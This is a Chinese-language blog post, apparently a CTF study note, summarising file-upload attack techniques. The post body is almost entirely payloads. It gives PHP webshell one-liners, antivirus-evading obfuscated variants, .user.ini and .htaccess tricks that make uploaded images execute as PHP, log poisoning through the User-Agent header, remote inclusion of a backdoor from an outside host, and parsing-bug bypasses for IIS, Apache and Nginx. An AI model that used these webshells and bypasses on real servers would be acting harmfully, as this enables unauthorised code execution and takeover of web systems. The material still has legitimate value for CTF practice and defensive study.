文件上传漏洞总结

    
文件上传
    php后门一句话代码
    //    <?php eval($_POST[x]);?>
        使用密令执行(linux)
            x=system("ls");
            x=system("tac ../flag.php");
    1.前端校验
        (1)查看前端代码是否对上传功能存在过滤
            修改前端校验代码
      MIME验证
       Content-Type:
        修改数据包内的文件类型
        
        
    3.user.ini
    
        条件:需要网站配置指向文件里调用user.ini
        
        上传.user.ini文件
            nginx里可使用
            1.auto_append_file
            2.auto_prepend_file=上传的文件名
        上传于user.ini中包含的文件名一致的后门文件
        
        user.ini文件包含
            nginx里可使用
            
        内容过滤
            逐步测试过滤内容替换绕过
            <?echo '123';?> //需要修改参数开关
            <%echo '123';%> //需要修改参数开关
            <?=eval($_POST['x']);?> //不需要修改参数开关
            <script language="php">echo '1';</script> //不需要修改参数开关
            []=>{}
            
            //读取文件后门
            <?=system('tac ../fl*')?> 
            //反引号运算符读取文件后门
            <?=`tac ../fl*`?>
            
        包含默认日志,日志记录UA头,UA头写后门代码
            搜索中间件的默认日志文件路径尝试包含
            包含代码使用.user.ini 或 .htaccess 包含后门文件后门文件包含日志文件
                在UA头内写入后门代码
                nginx默认路径:/var/log/nginx/access.log
                <?=include"/var/lo"."g/nginx/access.lo"."g"?>
                
        文件头检测绕过
            在上传文件第一行写入文件头
                如:GF89a/
        
    4.php特性
    
   绕过技巧
   
        多后缀解析
        php5/Php/
        
        
    
    
    
    5.二次渲染
        判定方式:1.判断上传前后文件大小内容。2.上传后的文件数据返回数据包内容
        
        上传图像后会对图像进行二次修改
        将后门代码插入到没有修改的图片共同体中(可能需要多次尝试才能成功)
            G:\sofl\balckApp\32-二次渲染脚本&C32ASM等
    
    6..htaccess文件包含
            Apache里使用 
            上传.htaccess文件
                内容:
                //将.png后缀名文件当成php文件执行
                    AddType application/x-httpd-php .png
            上传.png后缀后门文件        
            
    7.变异免杀
        当上传后门代码被检测删除后
        可使用变量绕过过滤关键字system
        后门面杀代码例
        <?php $a='syste'.'m';$a('tac ../flag.php');?>
        <?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flag.php');?>
        
        
    8.远程包含
        .user.ini包含上传文件,上传文件内写入包含远程地址 远程地址文件带有后门
        文件名.user.ini
            内容 auto_prepend_file=png
        后门.png文件内容
            <?=include'http://xxx.com'?>
        远程服务器访问指向文件内容
            // <?php eval($_POST[x]);?>
    
        如有过滤可尝试将url转数字
            https://www.bejson.com/convert/ip2int/
    
    上传后门自动删除(什么都删除/只删除后门代码文件)
        1.条件竞争
            在系统删除前运行到后门文件
            
        2.使用.user.ini远程包含后门文件
            auto_prepend_file=http://xxxx.com
        
    .user.ini包含日志文件(严格过滤)
        当访问文件上传目录时403 无索引
        利用条件:可上传php后缀文件
        
            1.上传index.php
            2.上传.user.ini包含日志文件
                auto_prepend_file=/var/log/nginx/access.log
            3.数据包UA头写入后门代码 <?=eval($_POST{x});?>
    
    
    解析漏洞文件上传IIS/Apache/Nginx
        iis: 6
          文件名下x.asp;x.jpg -》当成脚本文件执行
        iis: 7.5
          目录名 文件夹名.asp/文件.jpg  -》当成脚本文文件执行
          iis7.x于nginx解析漏洞一致
          
        apache
            CVE-2017-15715 HTTPD 换行解析漏洞 2.4.0~2.4.29版本
                在上传后门文件时在在后缀名后加一个空格在在Hex中将空格改为0a
                干扰黑名单验证实现绕过
                在通过抓包访问上传文件地址在文件后缀加上%0a

             HTTPD 多后缀解析 配置不当 文件名以本地上传为主
                上传多后缀名文件如
                    1.php.png
                访问文件路径被当成后门执行    


        Nginx 文件名逻辑漏洞
            CVE-2013-4547
        版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
            上传一个带有后门的文件上去后缀加一个空格
            在抓包访问时在后缀名后面加上两个空格和后门脚本执行后缀.php
            在在Hex中将后缀第二个空格改为00
        Nginx 解析漏洞
            Nginx 1.x 版本
            PHP 7.x 版本
            上传一个带后门文件
            访问时在后缀名后加/xxx.php
            文件被当成后门语言文件执行
    
    
    
    
    
    
    
    
    
    
    
        

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值